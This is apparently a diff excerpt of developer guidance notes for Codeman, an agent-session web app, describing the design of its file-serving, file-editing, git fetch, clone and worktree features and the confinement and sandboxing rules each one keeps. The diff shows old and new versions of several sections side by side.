**File-path links (terminal + chat)**: a path an agent prints is clickable on BOTH surfaces and opens the file-preview overlay. ⚠️ ONE pattern (`FILE_PATH_LINK_PATTERN` / `absoluteFilePathPattern()` in constants.js) feeds the xterm link provider AND `_linkifyFilePaths()`, a fresh instance per call (`lastIndex`). Both call `findFilePathLinks()`, which reserves spaced-path spans first (an unlinkable one only while its last word holds a `/`; any label, before an absolute or relative path, must be an explicit path label, prose after that label stays out, and an earlier connective or verb such as `and` or `has` (`SPACED_PATH_PROSE_WORD`) makes any candidate prose; rules and trade-offs in the architecture-invariants paragraph linked below), then adds rooted, `~/`, relative and folder paths without overlapping a reservation, earlier match or URL; a relative path resolves against the pane's live directory `SessionState.paneCwd` when known, else `workingDir` (`relativeResolutionBase()` + `resolveLinkedFilePath`; `paneCwd` is only a BASE, never a confinement root: routing and the file routes still judge against `workingDir`, or against a followed worktree for an absolute path inside it, and remote/docker/direct-PTY/rediscovered sessions never get one, scoped by `paneExitApplies`), `~/` only server-side on the session's host (attachment route), and `terminalPathLine()` joins a path a program hard-wrapped short of the edge. ⚠️ A folder link opens the **folder grid**: `POST /api/sessions/:id/folders` guards + GRANTS the folder (`folder-listing.ts`, own registry, never the 200-capped attachment registry), files come by bare name via `…/folders/:folderId/files/:name/*` through `resolveServableAttachmentPath` plus the same extension/regular-file gate on the symlink's resolved target, so no browser request carries a path; `~/` is refused in a Docker case (the container's home is not this host's). The chat linkifier walks TEXT NODES with DOM APIs, never rebuilds sanitized markup as a string. ⚠️ An out-of-workspace path goes through the ATTACHMENT routes (`POST /api/sessions/:id/attachments` with `notify: false`), never by widening `file-content`/`file-raw` or `file-stream-manager`'s `tail -f` allowlist. The one exception is an absolute path inside a followed worktree outside `workingDir` (`SessionState.outsideWorktree`), which the file routes serve as a second root (see Files panel in a worktree). An ambiguous parenthesised hard wrap is checked only on activation, original first: only a 404 permits a spaced-path lookup, and only a registered alternative is opened; every other original result uses the normal opener, never an attachment-policy gate on workspace files, and hover performs no lookup. ⚠️ `TEXT_ATTACHMENT_EXTENSIONS` IS `EDITABLE_EXTENSIONS` (never a second list), and widening READ must never widen RUN: `html`/`htm`/`svg` stay download-only, other text is inert `text/plain`+`nosniff`. ⚠️ The ONE place HTML renders is `/html-view/<cap>/...` (`html-view-routes.ts`, `html-view-capabilities.ts`): `POST /api/sessions/:id/html-view` mints a capability for the file's own directory, every response carries `Content-Security-Policy: sandbox` WITHOUT `allow-same-origin` (opaque origin even as a top-level tab, so the page can never read Codeman or drive its API) and with NO fetch directive (open network, owner decision 2026-10-13: never restrict it or add `allow-same-origin` without the owner), and only non-dot, asset-allowlisted files under that directory are served (GET/HEAD only; capabilities revoked with the web-tab ones on logout). That tree is served recursively, so minting is refused for a hidden directory or a broad root (`isBroadHtmlViewRoot`); the preview renders by default and the **Page** pill (or a refused mint) falls through to the source view and its Edit button. Never serve HTML same-origin anywhere else. Tests: `test/routes/html-view-routes.test.ts`. Media extensions are single-sourced in `attachment-registry.ts`. ⚠️ **XLSX previews parse in the BROWSER**, never on the server; the admission limits that keep a hostile workbook from freezing the worker live in `src/web/CLAUDE.md` (Spreadsheet preview). → [architecture-invariants#file-path-links-terminal--response-viewer](docs/architecture-invariants.md#file-path-links-terminal--response-viewer)
The terminal provider scans `terminalLinkLine()`, which extends `terminalPathLine()` for URL continuations in indented paragraphs and table cells. List markers, bare numbers, version tokens, whole email addresses, labels ending in `:`, measurements and clock times (`45%`, `12.3ms`, `10:00:00`) and a `name=value` field under a URL ending in `/` never continue a URL; a token with only `-`, `_` or `.` is also refused when it carries a call paren (`client.get()`) or ends a sentence (`Done.`). A URL in the last column of a space-aligned table never takes the next row's first cell: a continuation row must start inside the URL's own cell, so a gap of two or more spaces between its indent and where the URL starts on the row above means it is the next record. `terminalCellWrappedPaths()` follows each table cell independently: a fragment carries on into the next row only when it ends its cell on `/` or `-` (where a wrapper breaks a path; codex's cell wrap never breaks at `_`), the continuation row is blank to the left of the cell (a wrapper wraps every column of a table row together, so a label there such as `Entry` or `│ Log │` is the next record, unless a left column's path continued on that row too; a left column of wrapped prose, as in a `Description | Path` table, fills that row as well, so the path beside it keeps its per-row fragment links, the safe direction), the next row's token passes `pathContinuation()`, and the cell is no wider than the one above. So a directory that is a whole cell value (`/home/u/proj` over `config.yaml`, or `/home/u/proj/app/` over a labelled `main.py`) keeps its folder link and the next row keeps its own file link. With no label to tell them apart, a directory written with its trailing slash over a relative path in the same column (`/home/u/proj/src/` over `lib/util.ts`) still joins, a known trade-off: it reads exactly like a wrap at `/`. Accepted paths displace other links on their cells. Full-width divider rows stop `terminalLogicalLine()` stitching for both links and touch selection. OSC 8 links confirm the real target URI before the shared opener runs.
**Filesystem path picker** (Link Existing "Browse" + the mobile keyboard's `📁 Path` key): lazy one-directory browsing via `GET /api/filesystem/browse`, with `GET /api/filesystem/preview` for the tapped file. Inserts the path **without** Enter, so the prompt is never submitted; the sibling `⌫ All` key clears only the unsent prompt and must never send the agent's `/clear`. ⚠️ This is a **second file-serving surface and inherits neither the attachment confinement nor its ownership scoping**: it allowlists Home, `CASES_DIR`, `/mnt/d` and `CODEMAN_FILE_PICKER_ROOTS`, blocks sensitive trees, and rejects symlink escapes **after** `realpath`. ⚠️ The optional `sessionId` is an ownership boundary that must be `canAccessOwned`-checked by hand (it does not go through `findSessionOrFail`), and in multi-user mode a non-admin gets only their own `userSpacePath` as a root: per-user spaces live INSIDE `homedir()`, so a `Home` root exposes every other user's workspace. Previews go through the same global conversion limiter, and Markdown/TXT/JSON are served as inert `text/plain`. **New folder** (opt-in per caller, `allowNewFolder`; Link Existing has it): `POST /api/filesystem/mkdir` `{ path, name, sessionId? }` creates ONE folder (non-recursive) directly inside a folder the picker may browse, resolved through the same roots, ownership and blocked-tree rules as browse (`403` outside them or in a blocked tree or unwritable, `404` missing parent, `409` exists, `400` a parent that is a file, or a name outside letters, digits, space and `_ - . ~`, containing `..`, starting with a dot or a tilde or over 255 bytes, so every name it accepts is one Link Existing accepts, and `400` a parent that is a cases directory, where a folder is already a case (Add Case > New Case makes one there); `showHidden` is forwarded like browse's); the picker reloads the folder and selects the new one. A picker that browses somewhere this route cannot create in (the container-workdir picker, `fetchListing`) must not set the flag. → [architecture-invariants#filesystem-path-picker](docs/architecture-invariants.md#filesystem-path-picker)
**Filesystem path picker** (every Add Case "Browse": Link Existing, Create New's custom folder, Clone Repo, Docker; + the mobile keyboard's `📁 Path` key): lazy one-directory browsing via `GET /api/filesystem/browse`, with `GET /api/filesystem/preview` for the tapped file (Docker's Container Workdir picker lists through its own `fetchListing` over `POST /api/docker-cases/browse` instead, so the allowlist, blocked-tree and ownership rules below do not apply to it). A Browse fills its form field; the Path key inserts the path **without** Enter, so the prompt is never submitted; the sibling `⌫ All` key clears only the unsent prompt and must never send the agent's `/clear`. ⚠️ This is a **second file-serving surface and inherits neither the attachment confinement nor its ownership scoping**: it allowlists Home, `CASES_DIR`, `/mnt/d` and `CODEMAN_FILE_PICKER_ROOTS`, blocks sensitive trees, and rejects symlink escapes **after** `realpath`. ⚠️ The optional `sessionId` is an ownership boundary that must be `canAccessOwned`-checked by hand (it does not go through `findSessionOrFail`), and in multi-user mode a non-admin gets only their own `userSpacePath` as a root: per-user spaces live INSIDE `homedir()`, so a `Home` root exposes every other user's workspace. Previews go through the same global conversion limiter, and Markdown/TXT/JSON are served as inert `text/plain`. **New folder** (opt-in per caller, `allowNewFolder`; Link Existing, Create New's custom folder and Clone Repo's parent folder have it): `POST /api/filesystem/mkdir` `{ path, name, sessionId? }` creates ONE folder (non-recursive) directly inside a folder the picker may browse, resolved through the same roots, ownership and blocked-tree rules as browse (`403` outside them or in a blocked tree or unwritable, `404` missing parent, `409` exists, `400` a parent that is a file, or a name outside letters, digits, space and `_ - . ~`, containing `..`, starting with a dot or a tilde or over 255 bytes, so every name it accepts is one Link Existing accepts, and `400` a parent that is a cases directory, where a folder is already a case (Add Case > Create New with no custom folder makes one there); `showHidden` is forwarded like browse's); the picker reloads the folder and selects the new one. A picker that browses somewhere this route cannot create in (the container-workdir picker, `fetchListing`) must not set the flag. → [architecture-invariants#filesystem-path-picker](docs/architecture-invariants.md#filesystem-path-picker)
**File Viewer edit mode** (issue #212): the file-preview overlay edits workspace text files in place: `GET .../file-content?edit=1` + `PUT /api/sessions/:id/file-content`, policy in `src/config/file-editing.ts`. This is a **third file surface and the only one that writes file contents** (the path picker's New folder creates folders only): read-path confinement (realpath + workspace + ownership) plus sensitive/blocked/`.git` denies and an extension **allowlist**; writes are `wx`-temp + rename (no `O_CREAT` anywhere = edit-in-place is structural); optimistic concurrency via sha256 `baseHash` → 409. ⚠️ `edit=1` never truncates and the client must never save a plain-preview buffer (the 500-line truncation would silently delete the rest). ⚠️ CRLF/UTF-8 guards: EOL re-applied server-side, non-UTF-8 refused via round-trip compare. → [architecture-invariants#file-viewer-edit-mode](docs/architecture-invariants.md#file-viewer-edit-mode), `docs/file-viewer-edit-plan.md`
**File Viewer edit mode** (issue #212): the file-preview overlay edits workspace text files in place: `GET .../file-content?edit=1` + `PUT /api/sessions/:id/file-content`, policy in `src/config/file-editing.ts`. This is a **third file surface and the only one that writes file contents** (the path picker's New folder creates folders only): read-path confinement (realpath + workspace + ownership, where an absolute path inside a followed outside worktree (`SessionState.outsideWorktree`) counts as a second workspace root) plus sensitive/blocked/`.git` denies and an extension **allowlist**; writes are `wx`-temp + rename (no `O_CREAT` anywhere = edit-in-place is structural); optimistic concurrency via sha256 `baseHash` → 409. ⚠️ `edit=1` never truncates and the client must never save a plain-preview buffer (the 500-line truncation would silently delete the rest). ⚠️ CRLF/UTF-8 guards: EOL re-applied server-side, non-UTF-8 refused via round-trip compare. → [architecture-invariants#file-viewer-edit-mode](docs/architecture-invariants.md#file-viewer-edit-mode), `docs/file-viewer-edit-plan.md`
**Files panel search** (COD-236, the `q` param on `GET /api/sessions/:id/files`): `compileFileQuery()` (`utils/file-query.ts`, pure) compiles the query into a predicate the server-side walk prunes with; a query returns a FLAT match list and the walk recurses past non-matching directories. An empty, whitespace-only or overlong (`MAX_QUERY_LENGTH`, 256) query compiles to `null`, keeping the default tree response byte-identical. ⚠️ **Never compile a glob into a RegExp** (`*a*a*a…` backtracks and freezes the event loop for the whole server): `globMatch()` is a two-pointer wildcard walk. → [architecture-invariants#files-panel-search](docs/architecture-invariants.md#files-panel-search)
**Files panel search** (COD-236, the `q` param on `GET /api/sessions/:id/files`): `compileFileQuery()` (`utils/file-query.ts`, pure) compiles the query into a predicate the server-side walk prunes with; a query returns a FLAT match list and the walk recurses past non-matching directories. An empty, whitespace-only or overlong (`MAX_QUERY_LENGTH`, 256) query compiles to `null`, keeping the default tree response byte-identical. ⚠️ **Never compile a glob into a RegExp** (`*a*a*a…` backtracks and freezes the event loop for the whole server): `globMatch()` is a two-pointer wildcard walk. Tree and search share one walk shape: a per-directory round-robin (breadth-first, so fair per directory, not per subtree) over one 5,000-node budget, where a folder's own files count as one share beside the subfolders it just found (`walkTurnEnd()`). ⚠️ That budget caps what is LISTED, never what is read: a read keeps only what the listing can use (`readWalkFolder()`) and `MAX_WALK_ENTRIES_READ` (250,000) stops opening folders, or one GET reads the whole workspace into memory. ⚠️ A folder below the walk's root is probed (#516) before its `readdir`, and anything but `directory` is skipped unflagged. ⚠️ A directory has its node before it is read, so every cursor still queued or unread when the walk ends must get `incomplete: true` or it reads as an empty folder. → [architecture-invariants#files-panel-search](docs/architecture-invariants.md#files-panel-search)
**Files panel in a worktree** (#765, `src/live-worktree.ts`, `root=live` and `root=live-any` on `GET /api/sessions/:id/files`): Claude's EnterWorktree moves the process, and `paneCwd` follows it (tmux reads the process cwd, measured on 2.1.318, back out on ExitWorktree too), while `workingDir` stays the session's identity. `refreshLiveWorktree()` (server.ts) turns a changed `paneCwd` into `SessionState.liveWorktree` by reading the `.git` FILE (never spawning git), walking up and stopping at `workingDir`, a repository or submodule of its own, or anything unreadable. That is the lookup for a pane inside `workingDir`; a pane outside it goes to `findOutsideWorktree()`, described below. ⚠️ The security argument has two halves. For a worktree inside `workingDir` the lookup only answers a folder strictly below it, but that is a LEXICAL judgement made when the pane moves, and a symlink can replace the folder or a parent later without moving the pane, so `root=live` re-checks on every request (`canWalkLiveWorktree()`, file-routes.ts: walk the worktree only when it resolves strictly inside the resolved `workingDir`, else walk `workingDir`). The walk starts there, returned `path`s stay relative to `workingDir`, and the routes keep confining to `workingDir`, so never make an INSIDE `liveWorktree` a confinement root. ⚠️ Only that check uses resolved paths: the walk keeps the session's spelling, or a workspace reached through a symlink stops producing paths relative to `workingDir`. ⚠️ A plain subfolder is deliberately no answer, or a `cd` in a shell would re-root the panel. ⚠️ A listing reports `worktree` whichever folder it walked, even when the worktree has gone or the check refused it: `_followFileBrowserWorktree()` compares that with the session's state, and an absent report would reload forever. The one exception is a listing without `root=live-any`, which omits an outside worktree; while the session folder is pinned, the panel compares with the worktree it pinned away from (`pinnedWorktree`, panels-ui.js). ⚠️ **A worktree OUTSIDE `workingDir` (`git worktree add ../feature`, or an EnterWorktree placed beside the repo) IS a second root**, answered only through `findOutsideWorktree()` with `outside: true` and published on the wire as `SessionState.outsideWorktree`, never in `liveWorktree`, which stays inside-only: the session's own repository must vouch for it by FILE READS (`workingDir` must be the top of its repository or worktree, so a session in a subfolder follows nothing outside it; the candidate's `.git` FILE names `<common dir>/worktrees/<id>` and that entry's `gitdir` names the candidate back, or its `.git` FOLDER is the session's common dir itself, which is the main worktree for a session started in a linked one, and a symlinked `.git` is refused; never spawn git from the pane watcher). It is refused at `/`, home or above, around `workingDir` and at/inside/around a Docker case workspace (an unreadable Docker list follows nothing). It is refused while attachment workspace confinement is on. It is also refused at, inside or around an attachment blocked tree, and at a root that is itself a sensitive folder such as `~/.ssh` (a child probe, since the sensitive patterns describe file locations). These rules are judged when the pane moves like the Docker rule, and multi-user mode applies `folderAllowedForUser`. The routes also re-check confinement and the blocked trees on every request (`isOutsideWorktreeRootRefused()`), so turning confinement on or blocking the folder stops serving it at once. ⚠️ `validateLocalSessionFilePath()` also refuses any file there that `isSensitivePath()` blocklists, so a root such as a credential folder can never serve its keys. Walking it is opt-in: only `root=live-any` (which the panel sends) lists it, with ABSOLUTE `path`s, while `root=live` never walks an outside worktree: it walks `workingDir` with relative paths, and its listing omits `worktree` for an outside one. An absolute path inside it is confined to it, falling back to `workingDir` when the worktree root refuses it (`validateLocalSessionFilePath()`, route-helpers.ts), while a relative path still resolves against `workingDir` alone. ⚠️ It is recorded as a REAL path, and every request re-checks that the folder still resolves to exactly that path (`outsideWorktreeRootFor()`, `canWalkOutsideWorktree()`), or a symlink swapped in would re-root the routes anywhere. Tests: `test/live-worktree.test.ts`, `test/live-worktree-outside.test.ts`, `test/routes/file-routes-live-worktree.test.ts`, `test/routes/file-routes-outside-worktree.test.ts`, `test/file-browser-worktree.test.ts`, `test/file-browser-outside-worktree.test.ts`. → [architecture-invariants#files-panel-in-a-worktree](docs/architecture-invariants.md#files-panel-in-a-worktree)
**Git status indicator** (`showGitStatus`, per-device, default OFF; `src/git-workspace-status.ts`, `routes/git-status-routes.ts`, `git-status-ui.js`): the bottom-bar indicator and its panel read `GET /api/sessions/:id/git-status` and `/git-diff`, read-only and offline on its own (it never fetches; fetching is the separate path below). ⚠️ git never runs on a repository at or inside a Docker case workspace (walk-up, scan and diff alike, and a cached repository list is re-checked against the CURRENT Docker roots), since a container could plant a clean filter that runs on the host; remote and Docker sessions answer `unsupported`. ⚠️ `git-diff` takes `repo`/`path`/`kind` only as keys matched against the workspace's own repository list (`findWorkspaceRepo()`) and that repository's current status, never as paths. ⚠️ Keep `--no-optional-locks`, `core.fsmonitor=false` and `log.showSignature=false` on every call and `--no-ext-diff --no-textconv` on diffs; clean filters still run, which is why the Docker rule exists. ⚠️ An enclosing repository at `$HOME` or above is ignored (`isUnrelatedAncestor()`), and is identified by one cached `rev-parse` before any full status runs. Everything git supplies renders via `textContent`. Tests: `test/git-workspace-status.test.ts`, `test/routes/git-status-routes.test.ts`, and `test/git-status.browser.test.ts` (browser suite, not in the gate).
**Git fetch** (`src/git-fetch.ts`, `src/git-fetch-scheduler.ts`, `routes/git-status-routes.ts`, the panel's **Fetch** button): `POST /api/sessions/:id/git-fetch` is the ONLY git command the Git PANEL runs that WRITES (cloning and worktree management write too, but only when the user asked for them at that moment), and it is the only one that can run later by itself, on a timer, and the only one that can run a repository's own hooks (`reference-transaction`, `pre-auto-gc` through the automatic maintenance a fetch triggers, config commands such as `credential.helper`), which is why it is opt-in and never runs on a timer until the user turns it on. ⚠️ Fetch updates remote-tracking refs only; it must never commit, check out, merge or touch the working tree. ⚠️ It is not as harmless as a read: a fetch holds git's ref lock, so an agent's own `git pull` in the same clone can hit the same `cannot lock ref`, hence one folder is fetched by at most one run at a time (`fetchWorkspaceOnce` joins a run already going), and `FETCH_CONFIG_ARGS` (`-c core.fsmonitor=false -c maintenance.auto=false -c gc.auto=0`) keeps an unattended fetch from starting a gc in a repository the agent is using. ⚠️ `buildFetchArgs()` is `['fetch', '--quiet']` and must stay verb-invariant (`test/git-fetch.test.ts`); those `-c` overrides are added by the runner, not by `buildFetchArgs()`. ⚠️ The git timeout must reach the whole process TREE, not just the `git` parent: `execFile` signals the parent only, so `runFetch` spawns `detached` and signals the negative pid (SIGTERM, then SIGKILL `FETCH_KILL_ESCALATION_MS` later), and the caller is answered AT the timeout while the group is still dying: that is the point. `test/git-fetch.test.ts` proves it against a local server that never answers, by group membership rather than parentage. A non-zero exit must still reject the way `execFile` would, or a real failure reads as a clean run with no reason. ⚠️ The same Docker rule as above applies BEFORE any git runs (a repository at or inside a Docker case workspace is refused), and remote sessions answer `unsupported`. ⚠️ Keep it non-interactive (`gitNonInteractiveEnv()`: `GIT_TERMINAL_PROMPT=0` + BatchMode ssh) or a fetch hangs on an invisible login prompt, but that BatchMode ssh is a DEFAULT, never an override: `fetchEnvFor` must not overwrite the repository's `core.sshCommand`, the user's own `GIT_SSH_COMMAND` or a `GIT_SSH` (`readRepoSshCommand` reads it inside the same limiter slot and the same wall-clock bound as the fetch it serves, and the spawn gets only what the read left), and `StrictHostKeyChecking=accept-new` writes an unknown host key into `~/.ssh/known_hosts` without asking: BatchMode stops a prompt, not a write. Keep it bounded: `MAX_REPOS`/`MAX_REPOS_LIMIT` (12/50), `MAX_FETCH_OUTPUT_BYTES` (2 MB), the git timeout per spawn, and `FETCH_CONCURRENCY` (4) as ONE `Limiter` shared by the fetches of the whole tick: `createLimiter` keeps its count in the closure, so a limiter that delegated to `mapLimited` per call bounds each call, and 4 folders × 4 repositories would start 16 git processes. ⚠️ One semaphore cannot bound both the folders and the fetches: a folder holding a slot would then wait for a slot its own fetch needs, so the tick bounds its folders with `mapLimited` and hands the shared bound to every run. ⚠️ Failure text reaching a client is control-stripped and credential-redacted (`sanitizeGitOutput`) and the browser writes it with `textContent`. Scheduler semantics: settings are read fresh each tick (`GIT_FETCH_TICK_INTERVAL_MS`, 15 s), a per-session override wins even while the app-wide switch is off, the interval is timed from the run START, state is keyed by FOLDER (sessions sharing one folder are the same clone, so one run serves them all, the schedule is stamped at selection, and every session on a folder is remembered, a folder is due when ANY session open on it is due, so the order the sessions were read cannot decide which interval wins (both orders are tested), and the folder is probed once for the whole group rather than once per session on it: closing the one that holds the override must not stop the folder's fetching while another session is still open on it), a tick is skipped while the previous one is still going, and a user-chosen folder is probed BOUNDED with the default options before anything runs (rule #516: `unknown` is never read as `absent`). ⚠️ The two settings (`gitFetchEnabled`, `gitFetchIntervalSeconds`, off/300 by default, clamped 30–3600) are **synced**, not per-device: they must stay out of `displayKeys` and out of the strip destructure in settings-ui.js, or the scheduler reads nobody's value. Per-session state rides `SessionUpdated` (no new SSE event) as `gitFetch`, and the click route publishes the run's trigger, not the request's: `trigger: 'click'` only when the click was the run, because a click that joined a tick already going fetched nothing and cannot report itselLine truncated
**Edit history panel** (`showEditHistory`, per-device, default OFF; issue #643): which files a LOCAL claude session edited, with diffs and the images a Bash call produced, read from its transcripts. ⚠️ **Reads only on request:** only the open panel triggers a read (`?sync=1`); the server never syncs on its own (no hook, timer or second watcher; wiring-guard test). ⚠️ **The store holds secrets** (every diff): 0600 under `dataPath('edit-history')`, bounded per session, deleted with the session's record, blocked in `isSensitivePath`, never fed to `/api/search`. ⚠️ **Images only through the existing file surfaces** (`file-raw` in the workspace, the attachment route outside it); no route here serves a transcript-supplied path, and such paths are probed only through `probePathKind()`. Remote, Docker and non-claude sessions answer `unsupported`. → [architecture-invariants#edit-history-panel](docs/architecture-invariants.md#edit-history-panel)
**Edit history panel** (`showEditHistory`, per-device, default OFF; issue #643): which files a claude session (local or remote SSH) edited, with diffs and the images a Bash call produced, read from its transcripts. ⚠️ **Reads only on request:** only the open panel triggers a read (`?sync=1`); the server never syncs on its own (no hook, timer or second watcher; wiring-guard test). ⚠️ **The store holds secrets** (every diff): 0600 under `dataPath('edit-history')`, bounded per session, deleted with the session's record, blocked in `isSensitivePath`, never fed to `/api/search`. ⚠️ **Images only through the existing file surfaces** (`file-raw` in the workspace, the attachment route outside it); no route here serves a transcript-supplied path, and such paths are probed only through `probePathKind()`, a remote session's only through `remoteProbePaths()`. ⚠️ **Remote reads never wake a host:** only the bounded ssh read path of `remote-files.ts`, a sleeping host answers `unavailable` (wiring-guard test). Docker, non-claude and adopted sessions answer `unsupported`. → [architecture-invariants#edit-history-panel](docs/architecture-invariants.md#edit-history-panel)
**Raw file bodies are streamed and range-aware**: `file-raw`, the attachments `/raw` route, `GET /api/download` and the rendered-HTML route `GET /html-view/<cap>/...` share `sendFileBody()`, advertise `Accept-Ranges: bytes` and answer `Range` with `206` + `Content-Range` (single-range, parser in `src/web/http-range.ts`); without it `<video>` cannot seek. The size cap (`MAX_FILE_DOWNLOAD_BYTES`, default 2GB, env `CODEMAN_MAX_DOWNLOAD_BYTES`, `0` = unlimited) is a sanity bound, not memory protection; never reintroduce a whole-file buffer. ⚠️ Bodies go out via `reply.hijack()`, so `sendRawStream` must copy the status onto `reply.raw` by hand or a partial body ships as `200`. ⚠️ Closing the preview must pause and unload media (`_stopFilePreviewMedia`), since a detached `HTMLMediaElement` keeps playing. → [architecture-invariants#raw-file-bodies-streamed-and-range-aware](docs/architecture-invariants.md#raw-file-bodies-streamed-and-range-aware)
**Ultracode / workflow-run visualization** (opt-in, default OFF): the Workflow tool writes a completion artifact only at run *end*, so live in-flight runs exist solely as transcript dirs. `workflow-run-watcher.ts` therefore synthesizes ACTIVE runs from transcripts until the completion artifact appears and supersedes them. It is **STANDALONE** and deliberately never imports or touches `subagent-watcher.ts`, despite reading the same tree. Two independent toggles: `showUltracodeAgents` (docked panel) and `ultracodeFloatingWindows` (floating windows); the watcher starts if **either** is on. → [architecture-invariants#ultracode-and-workflow-run-visualization](docs/architecture-invariants.md#ultracode-and-workflow-run-visualization)
**Clone a repository as a case** (issue #236, Add Case → **Clone Repo**): `POST /api/cases/clone` clones synchronously into the caller's case space (bounded by `GIT_CLONE_TIMEOUT_MS`, no job store); `POST /api/cases/clone-preflight` checks anonymous cloneability and lists refs. Core in `src/git-clone.ts`. ⚠️ **The URL is a code-execution surface**: refuse every `::` form and a leading `-`, spawn only argv arrays with `--` before operands. ⚠️ Stay non-interactive (`gitNonInteractiveEnv()`) or the open request hangs; never collect credentials, refuse `user:password@` URLs. ⚠️ Timeout kills the process GROUP, remove the destination only if this attempt created it, and repo contents win over scaffolding (existing `CLAUDE.md` kept, hooks merged, repo `.claude/settings*` warned about). ⚠️ A `path` is the folder cloned INTO (no case-name subfolder) and registers a linked case: admin-only in multi-user mode, judged by `prepareNewCasePath()`, empty or new only; an empty one is cloned into directly and never removed, and emptied after a failure only when git really ran and did not refuse it. ⚠️ A destination at or inside a Docker case workspace is refused `400` on both branches: git would run the new repository's hooks and filters on the host. → [architecture-invariants#clone-a-repository-as-a-case](docs/architecture-invariants.md#clone-a-repository-as-a-case)
**Clone a repository as a case** (issue #236, Add Case → **Clone Repo**): `POST /api/cases/clone` clones synchronously into the caller's case space (bounded by `GIT_CLONE_TIMEOUT_MS`, no job store); `POST /api/cases/clone-preflight` checks anonymous cloneability and lists refs. Core in `src/git-clone.ts`. ⚠️ **The URL is a code-execution surface**: refuse every `::` form and a leading `-`, spawn only argv arrays with `--` before operands. ⚠️ Stay non-interactive (`gitNonInteractiveEnv()`) or the open request hangs; never collect credentials, refuse `user:password@` URLs. ⚠️ Timeout kills the process GROUP, remove the destination only if this attempt created it, and repo contents win over scaffolding (existing `CLAUDE.md` kept, hooks merged, repo `.claude/settings*` warned about). ⚠️ A `path` is the folder cloned INTO (the API adds no case-name subfolder; the Clone Repo tab's custom folder is a PARENT, so the page sends `<folder>/<case name>` through `_cloneTargetPath()`, as Create New does through `_newCaseTargetPath()`) and registers a linked case: admin-only in multi-user mode, judged by `prepareNewCasePath()`, empty or new only; an empty one is cloned into directly and never removed, and emptied after a failure only when git really ran and did not refuse it. ⚠️ A destination at or inside a Docker case workspace is refused `400` on both branches: git would run the new repository's hooks and filters on the host. → [architecture-invariants#clone-a-repository-as-a-case](docs/architecture-invariants.md#clone-a-repository-as-a-case)
**Git worktrees of a case** (case picker → **Git worktrees…**; `src/git-worktrees.ts`, `routes/worktree-routes.ts`): a local repository case keeps worktrees at `<repo>/.claude/worktrees/<name>` on `worktree-<name>`, Claude Code's own `--worktree` layout. ⚠️ Only that managed path is ever created or removed, every component `lstat`ed and realpath-checked (a symlinked `.claude` is refused). ⚠️ git never runs for a Docker or remote case, nor at or inside a Docker workspace (`worktree add` runs hooks and filters on the host). ⚠️ Remove is `git worktree remove` WITHOUT `--force`, refused while a live session is inside; branch delete is `-d`, never `-D`. ⚠️ Sessions start through the existing create paths (quick-start `worktree`, or `POST /api/sessions` `workingDir`), never a new spawn path. → [architecture-invariants#git-worktrees-of-a-case](docs/architecture-invariants.md#git-worktrees-of-a-case)
@@ -319,7 +328,7 @@ One module per domain in `src/web/routes/` (plus a barrel; `ls src/web/routes/`
## State Files
All in `~/.codeman/`: `state.json` (sessions, settings, respawn, orchestrator, cron jobs/runs, owner tab layouts, case default groups), `mux-sessions.json` (tmux recovery), `settings.json` (user prefs), `push-keys.json` + `push-subscriptions.json`, `session-lifecycle.jsonl` (audit log), `update-status.json` (self-updater progress, polled across the service restart), `docker-env-applied.json` (Compose deployment only: sha256 of the Dockerfile + compose file the running container was built from, written by `Start-Codeman.sh`, read by the self-updater's environment gate), `docker-build-source.json` (Compose deployment only: the checkout's HEAD commit and `package-lock.json` hash the `codeman-node-modules`/`codeman-dist` volumes currently reflect, written by both `Start-Codeman.sh` and a successful in-place self-update, compared to detect and refresh a volume left stale by an externally-triggered rebuild), `linked-cases.json`, `webviews.json` (saved web-tab dashboard URLs), `remote-hosts.json` + `remote-cases.json`, `docker-hosts.json` + `docker-cases.json` + `docker-exports/`, `subagent-window-states.json` + `subagent-parents.json` (subagent window layout, GET/PUT `/api/subagent-window-states`/`-parents`), `hook-secret` (per-instance), `users.json` (multi-user, mode 0600) + `admin-audit.jsonl`, `intents.json` (Read My Mind intent profiles, mode 0600), `agent-inbox.json` (agent inbox snapshot, only while `agentInboxPersistEnabled` is on, mode 0600), `edit-history/<id>.json` (Edit history panel, one store per session, every diff an agent wrote, mode 0600), `webhook.json` (webhook notifications: enabled/service/scope plus the ntfy/Slack/Discord URL, a bearer secret, so mode 0600, kept out of `settings.json` and never returned by `/api/webhook`, which is admin-only in multi-user mode), `discord.json` (Discord bridge: bot token, a bearer secret, so mode 0600, never returned by `/api/discord`, admin-only in multi-user mode) + `discord-bridge.json` (sessionId to Discord thread id), `config-backup-id` (the random id config backups record as each manifest's `origin`, so instances sharing a backup folder keep to their own snapshots; mode 0600, never tracked or restored, and deleting it unlists this instance's earlier snapshots), `backups/config/` (the default config-backup folder, moved by `configBackupDir`: `cfg-YYYYMMDD-HHMMSS/` snapshots, 0700 with 0600 files, each with a `manifest.json` of SHA-256s, the origin and the retention in force (`keepCount`/`keepDays`), which a pass falls back to when `settings.json` lacks a retention key), `certs/` (self-signed TLS for `--https`), `.env` (CODEMAN_USERNAME/PASSWORD fallback for the `codeman attach` CLI), `install.log` (installer step output, written by `install.sh`'s `run_step`) and `tailscale-rename` (the node name before `install.sh` renamed it, so uninstall can offer it back; both installer-route only). Transient: `self-update-runner.sh`. Multi-user case spaces live OUTSIDE the data dir at `~/codeman-users/<username>/cases` (shared across instances like `~/codeman-cases`, override `CODEMAN_USER_SPACES_DIR`).
All in `~/.codeman/`: `state.json` (sessions, settings, respawn, orchestrator, cron jobs/runs, owner tab layouts, case default groups), `mux-sessions.json` (tmux recovery), `settings.json` (user prefs), `push-keys.json` + `push-subscriptions.json`, `session-lifecycle.jsonl` (audit log), `update-status.json` (self-updater progress, polled across the service restart), `docker-env-applied.json` (Compose deployment only: sha256 of the Dockerfile + compose file the running container was built from, written by `Start-Codeman.sh`, read by the self-updater's environment gate), `docker-build-source.json` (Compose deployment only: the checkout's HEAD commit and `package-lock.json` hash the `codeman-node-modules`/`codeman-dist` volumes currently reflect, written by both `Start-Codeman.sh` and a successful in-place self-update, compared to detect and refresh a volume left stale by an externally-triggered rebuild), `linked-cases.json`, `webviews.json` (saved web-tab dashboard URLs), `remote-hosts.json` + `remote-cases.json`, `docker-hosts.json` + `docker-cases.json` + `docker-exports/`, `subagent-window-states.json` + `subagent-parents.json` (subagent window layout, GET/PUT `/api/subagent-window-states`/`-parents`), `hook-secret` (per-instance), `users.json` (multi-user, mode 0600) + `admin-audit.jsonl`, `intents.json` (Read My Mind intent profiles, mode 0600), `agent-inbox.json` (agent inbox snapshot, only while `agentInboxPersistEnabled` is on, mode 0600), `edit-history/<id>.json` (Edit history panel, one store per session, 